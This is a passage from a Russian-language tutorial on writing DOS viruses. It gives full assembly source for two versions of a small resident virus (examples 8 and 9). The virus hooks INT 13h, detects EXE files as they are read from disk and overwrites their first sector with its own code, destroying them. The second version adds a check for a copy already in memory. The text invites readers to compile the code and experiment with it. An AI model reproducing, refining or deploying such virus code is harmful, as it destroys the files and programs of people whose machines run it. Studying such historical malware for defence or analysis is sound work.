-----------------------------------------------------------¬
¦ пример 7 ¦:
L-----------------------------------------------------------
;------------------------------------------------------------¬
; заготавливаем входные параметры для п/п-ы обработки INT 13h¦:
;-------------------------------------------------------------
MOV AH, 02 ; признак операции: читать
MOV AL, 01 ; сколько секторов читать: 1 сектор
MOV CH, 00 ; цилиндр: 0-¬
MOV CL, 01 ; сектор : 1-+-координаты MBR-"винчестера"
MOV DH, 00 ; сторона: 0-- (см. объяснение выше)
MOV DL, 80h ; дисковод: HDD
MOV BX,OFFSET bufferIO ; ---офсет---¬ буфер ---¬ т.е. в какое
PUSH CS ; --¬ +-вво- +- место в ОЗУ
POP ES ; --+сегмент-- да/вывода -- надо читать
; данный сектор
;-------------------------------------------------------¬
; даем вызов п/п-ы чтения сектора ¦:
;--------------------------------------------------------
INT 13h
;-------------------------------------------------------¬
; анализируем результаты вызова п/п-ы чтения секта ¦:
;--------------------------------------------------------
JNC no_errors ; если CF=0 (ошибок нет) -- едем дальше
CALL errors_treatment ; если же CF=1 (произошла ошибка), вызываем
; процедуру обработки ошибки
no_errors: ; если ошибок нет, то по адресу ES:BX в ОЗУ
; мы найдем прочитанный сектор с координатами
; цилиндр=0, сектор=1, сторона=0 (дисковод HDD),
; т.е. - MBR-"винчестера"
Наш примитивный вирус будет заражать определенный файл, когда его рези-
дентная часть обнаружит, что этот файл считывается с HDD в оперативку. Испол-
няемые программы считываются в ОЗУ, как правило, в момент запуска на выполне-
ние, => заражение будет происходить в момент перед запуском. Отметим, что за-
ражение произойдет и в случае простого просмотра файла (например - программой
wpview.exe - при нажатии F3). Возникает вопрос: как наш резидент узнАет, что
считывается именно исполняемый файл и -- как он сможет записать свой код в
тело файла? При помощи обработки по-своему прерывания 13h.
Любой EXE-файл (ТОЛЬКО ТАКИЕ ФАЙЛЫ БУДЕТ ПОРАЖАТЬ НАШ ВИРУС) начинается
со специального заголовка (и о нем мы поговорим). А этот заголовок непременно
начинается с сигнатуры MZ (признак .EXE файла).
Процесс считывания файла с HDD начинается с чтения сектора (или группы
секторов), с которых файл начинается, в определенный буфер ввода/вывода. Пос-
ле завершения этой первой операции считывания в буфере ввода/вывода будет
храниться начало файла и первые два байта будут говорить- с EXE- или не с
EXE-файлом мы имеем дело. Конечно же -- Вы совершенно верно догадались, что
об этом наш вирус сможет узнать, перехватывая и по-своему обрабатывая преры-
вание 13h. Получается что резидент должен следить за чтением каждой группы
секторов и каждый раз залезать в буфер ввода/вывода. Если в начале буфера
ввода/вывода сидит MZ, то активизируется специальная п/п-ма вируса -- вирус
заражает файл.
Теперь - внимание! - когда резидент обнаружит, что считалось начало EXE-
файла, у него (резидента) будет ПОЛНАЯ информация о том, в каком месте на HDD
лежит это начало, - ибо после считывания секторов входные параметры п/п-мы
обработки прерывания 13h ОСТАЮТСЯ ТЕМИ ЖЕ (портится кажется только регистр
AH) Следовательно, чтобы "заразить" файл - нужно лишь дать прерывание 13h со
входными параметрами, оставшимися от предыдущей операции считывания. Нужно
также лишь изменить значение AH с 02(чтение) на 03(запись) и переопределить
адрес буфера ввода-вывода (ES:BX) на свой сегмент кода. И - все!
Вот текст вируса (коментарии см. ниже):
-----------------------------------------------------------¬
¦ пример 8 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N8 -- первый вирус (заражает ЕХЕ-файл)
ASSUME CS:CodeSegment
;-----------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP initial ; перепрыгнем через данные
; ; и наш обработчик прер-я 13
; ; на инициализирующую часть
;
saved_int13: DD 0 ; данные (хранилище для
; ; адреса стандартного обра-
; ; ботчика прерывания 13 --
; ; -- 2 слова)
;
;
;-----------наша п/п-а обработки прерывания 13-----------------¬
int13_treater:;¦ ¦
PUSH AX ;-¬ ¦
PUSH BX ; +-сохраняем регистры,которые ¦
PUSH ES ;-- мы возможно испортим ¦
CMP AH,02 ;происходит чтение? нет -- слу-¦
JNE no_reading ; чай нас не интересует, -- мы¦
; ; глубоко разочаровались и пре-
; ; кращаем дальнейшую обработку¦
; ¦
PUSHF ;даем санкцию на чтение сектора¦
CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин ¦
; ;(исходный обработчик) int13 ¦
; ¦
; ¦
CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") ¦
JNE no_EXE_file ; нет -- случай нас не интере-¦
; ; сует, прекращаем дальнейшую ¦
; ; обработку ¦
; ; ¦
; ;Ага ! -- вот и жертва !!! ¦
MOV AX,0301h ;будем писать на HDD 1 сектор ¦
MOV BX,OFFSET head ;--T--будем записывать себя ¦
PUSH CS ; ¦ ¦
POP ES ;--- ¦
; ; ¦
no_reading: PUSHF ;операция заражения или (если ¦
CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого ¦
no_EXE_file: POP ES ;-¬возврата управления обработ-¦
POP BX ; ¦чику INT 13h ¦
POP AX ;-+----восстанавливаем регистры¦
IRET ; которые мы ¦
;¦ ; использовали ¦
;L--------------------------------------------------------------
;
;-----------инициализирующая часть-----------------------------¬
;¦ (здесь мы сажаем резидент) ¦
;¦ ¦
initial: XOR DX,DX ; ---¬ ¦
MOV DS,DX ; ---+--> DS = 0 ¦
; ¦
MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦
MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦
MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦
MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦
; ¦
; ¦
CLI ;запрещаем прерывания ¦
MOV AX,OFFSET int13_treater ; ¦
MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦
PUSH CS ; адрес нашего обработчика ¦
POP AX ; прерывания 13 ¦
MOV word ptr DS:[13h*4+2],AX ; ¦
STI ;разрешаем прерывания ¦
; ¦
; ¦
MOV DX,OFFSET rezident_end+1 ;DX<--конец резид. части ¦
; ; (а к ней относится ВСЯ ¦
; ; программа) ¦
INT 27h ;закончить программу и ¦
rezident_end: ;¦ ; вернуться в DOS, оставив ¦
;¦ ; резидентной всю программу¦
;L--------------------------------------------------------------
MainProcedure ENDP
;
CodeSegment ENDS
END Start
коментарии:
Прокоментируем лишь резидентную часть программы, ибо все остальное уже
до боли Вам знакомо.
В процессе работы мы, возможно воспользуемся регистрами AX,BX,ES => пе-
ред началом работы сохраняем их, а в конце -- восстанавливаем.
При обработке прерывания первым делом проверяем читаются ли сектора (нас
интересует только чтение) и, если нет -- возвращаем управление исходному об-
работчику INT 13h и на этом -- все.
Если сектора читаются, мы позволяем исходному обработчику INT 13h прочи-
тать их (команда CALL) и предоставить нам дополнительную информацию к размыш-
лению.
После того, как исходный обработчик INT 13h прочитал сектора -- проверя-
ем -- началось ли чтение ЕХЕ-файла (первые два байта в буфере = "MZ". Кстати
-- операнд команды сравнения будет 5A4Dh="ZM", а не "MZ" -- ибо сначала идет
младший байт, а потом -- старший). Если читается не начало ЕХЕ-файла, а
что-то другое -- свертываем нашу деятельность (восстанавливаем испорченные
регистры и делаем IRET).
Если же буфер начинается с "MZ", то -- мы заразим файл. Для этого изме-
ним AX: AH = 03(режим записи), AL = 1(записать 1 сектор). Изменим также коор-
динаты буфера ввода/вывода -- настроим его на код вируса ES = CS, BX = OFFSET
head. При этом все остальные параметры операции (куда записывать) мы унасле-
дуем от предыдущей процедуры чтения.
Мы записываем в начало файла-жертвы один сектор, т.к. наш вирус занимает
всего 82 байта - рекорд!
Ну вот, откомпилируйте и можете поиграть с программой. Только не взду-
майте выпустить этот варварский вирус в "открытый космос". Во-первых он дале-
ко не пойдет, ибо очень быстро себя выдаст (зараженные программы не работа-
ют), во-вторых -- это просто дурной тон. Для обеспечения минимального уровня
безопасности экспериментируйте в Volcov Comander-e и своевременно изгоните
вирус из оперативки. Вьювер у вас тоже не должен быть ЕХЕ-файлом! Ни в коем
случае не запускайте никаких иных файлов кроме выбранных в качестве жертвы. И
вирус будет абсолютно ручным. Возможен один прикол -- уже зараженный (следо-
вательно - необратимо грохнутый) файл выполняется как нормальный. Это связано
с кэшированием. ПосмотрИте на этот файл (вьювер должен быть СОМ-файлом!) --
и Вы увидите, что он заражен.
Этот вирус не проверяет длину заражаемого файла. Если он заразит
ЕХЕ-файл размером более 64 Кб, то при последующем запуске такой файл вовсе не
будет загружен (системный загрузчик выдаст сообщение об ошибке: File too big
to fit in memory).
У вируса есть еще один серьезный недостаток: он не проверяет, имеется ли
уже в памяти PC его резидентная копия. => каждый раз при зарпуске зараженной
программы будет возникать новый резидент. Будет сильно расходоваться опера-
тивка и замедляться работа PC.
Давайте исправим этот недостаток, - научим вирус определять, есть ли в
ОЗУ его резидентная копия. Это очень просто, - нужно лишь проанализировать с
чего начинается п/п-ма, на которую указывает адрес из таблицы векторов.
Вот как это будет:
-----------------------------------------------------------¬
¦ пример 9 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N9 -- первый вирус (модификация)
ASSUME CS:CodeSegment
;-----------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP initial ; перепрыгнем через данные
; ; и наш обработчик прер-я 13
; ; на инициализирующую часть
;
saved_int13: DD 0 ; данные (хранилище для
; ; адреса стандартного обра-
; ; ботчика прерывания 13 --
; ; -- 2 слова)
;
;
;-----------наша п/п-а обработки прерывания 13-----------------¬
int13_treater:;¦ ; ¦
PUSH AX ;-¬ ¦
PUSH BX ; +-сохраняем регистры,которые ¦
PUSH ES ;-- мы возможно испортим ¦
CMP AH,02 ;происходит чтение? нет -- слу-¦
JNE no_reading ; чай нас не интересует, -- мы¦
; ; глубоко разочаровались и пре-
; ; кращаем дальнейшую обработку¦
; ; ¦
PUSHF ;даем санкцию на чтение сектора¦
CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин ¦
; ;(исходный обработчик) int13 ¦
; ; ¦
; ; ¦
CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") ¦
JNE no_EXE_file ; нет -- случай нас не интере-¦
; ; сует, прекращаем дальнейшую ¦
; ; обработку ¦
; ; ¦
; ;Ага ! -- вот и жертва !!! ¦
MOV AX,0301h ;будем писать на HDD 1 сектор ¦
MOV BX,OFFSET head ;--T--будем записывать себя ¦
PUSH CS ; ¦ ¦
POP ES ;--- ¦
no_reading: PUSHF ;операция заражения или (если ¦
CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого ¦
no_EXE_file: POP ES ;-¬возврата управления обработ-¦
POP BX ; ¦чику INT 13h ¦
POP AX ;-+----восстанавливаем регистры¦
IRET ; которые мы ¦
;¦ ; использовали ¦
;L--------------------------------------------------------------
;
;-----------инициализирующая часть-----------------------------¬
;¦ (здесь мы сажаем резидент) ¦
;¦ ; ¦
initial: XOR DX,DX ; здесь мы анализируем, не явля-¦
MOV DS,DX ; ется ли первый из цепочки об- ¦
MOV BX,DS:[13h*4] ; работчиков прерывания 13 п/п- ¦
MOV ES,DS:[13h*4+2] ; -мой нашего вируса. ¦
CMP word ptr ES:[BX ],5350h ; (5350h,8006h,02FCh -- коды ¦
JNE make_me_TSR ; группы команд PUSH AX,PUSH BX,¦
CMP word ptr ES:[BX+2],8006h ; PUSH ES,CMP AH,02; сначала ¦
JNE make_me_TSR ; младший байт, - потом - стар- ¦
CMP word ptr ES:[BX+4],02FCh ; ший). Если вирус опознал себя,¦
JE I_am_TSR_already ; -- резидент не сажается ¦
; ; ¦
; ; ¦
make_me_TSR: MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦
MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦
MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦
MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦
; ; ¦
; ; ¦
CLI ;запрещаем прерывания ¦
MOV AX,OFFSET int13_treater ; ¦
MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦
PUSH CS ; адрес нашего обработчика ¦
POP AX ; прерывания 13 ¦
MOV word ptr DS:[13h*4+2],AX ; ¦
STI ;разрешаем прерывания ¦
; ; ¦
; ; ¦
; ; ¦
MOV DX,OFFSET rezident_end+1 ;DX<--конец резид. части ¦
; ; (а к ней относится ВСЯ ¦
; ; программа) ¦
INT 27h ;закончить программу и ¦
; ; вернуться в DOS, оставив ¦
; ; резидентной всю программу¦
; ; ¦
I_am_TSR_already: RET ; вернуться в DOS, без соз-¦
rezident_end: ;¦ ; дания резидентной копии ¦
;¦ ; ¦
;L--------------------------------------------------------------
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Что здесь новенького? В инициализирующей---XOR DX,DX
части появилась группа операторов:------->---+ MOV DS,DX
Этот фрагмент анализирует, не лижит ли по ад-¦ MOV BX,DS:[13h*4]
ресу, лежащему по адресу 0000:004Eh, наш ¦ MOV ES,DS:[13h*4+2]
вирус. И если он там действительно есть, -- ¦ CMP word ptr ES:[BX ],5350h
джамп на метку I_am_TSR_already (обычный вы- ¦ JNE make_me_TSR
ход в DOS). Этот фрагмент обошелся нам в ¦ CMP word ptr ES:[BX+2],8006h
32 байта (чудовищная роскошь). Можно сделать ¦ JNE make_me_TSR
иначе - намного экономичнее - при посадке ре-¦ CMP word ptr ES:[BX+4],02FCh
зидента установить флажок где-нибудь на млад-L--JE I_am_TSR_already
ших адресах ОЗУ, и потом, при каждом новом за-
пуске, проверять его. Чтобы выбрать свободную
ячейку памяти на младших адресах - бегло просмотрите структуру области данных
BIOS. Информацию Вы найдете в /4/ (литература) или в /4/ (инструменты).
Ну вот, Вы уже кое-что узнали. Начало скромное но многообещающее.
На этом позвольте прикончить главу.
Далее
|